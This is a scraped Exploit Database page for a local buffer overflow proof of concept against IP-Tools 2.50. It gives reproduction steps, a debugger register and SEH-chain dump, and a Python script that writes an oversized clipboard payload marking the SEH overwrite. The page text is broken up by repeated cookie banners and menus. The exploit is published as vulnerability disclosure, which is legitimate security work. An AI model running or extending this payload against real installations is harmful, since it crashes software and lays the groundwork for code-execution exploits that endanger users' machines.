

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

IP-Tools 2.50 - Local Buffer Overflow (PoC)

EDB-ID:

46286

CVE:

N/A

EDB Verified: ✘**Author:**[RAFAEL PEDRERO](#)**Type:**[DOS](#)**Exploit:** / Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
# Exploit Title: IP T00LS v2.50 - Denial of Service (PoC) and SEH
overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm
# Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm /
https://web.archive.org/web/20070322163021/http://hostmonitor.biz:80/download
tools.exe
# Tested Version: 2.50
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run IP-Tools.exe
# 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to
clipboard
# 3.- Paste the content into the field: 'From Addr' and 'To Addr'
# 4.- Click 'Start' button and you will see a crash.

...
SEH chain of main thread
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
Z 0 DS 0025 32bit 0 (FFFFFFFF)
S 0 FS 003B 32bit 7FDD000 (FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty

          3 2 1 0      E S P U 0 Z D I
FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT)
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
...

#!/usr/bin/env python

junk = "\x41" * 4112
crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8)
f = open ("IPTools_Crash.txt", "w")
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

```
f.write(crash)
f.close()
```

Tags: [Denial of Service \(DoS\)](#)
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >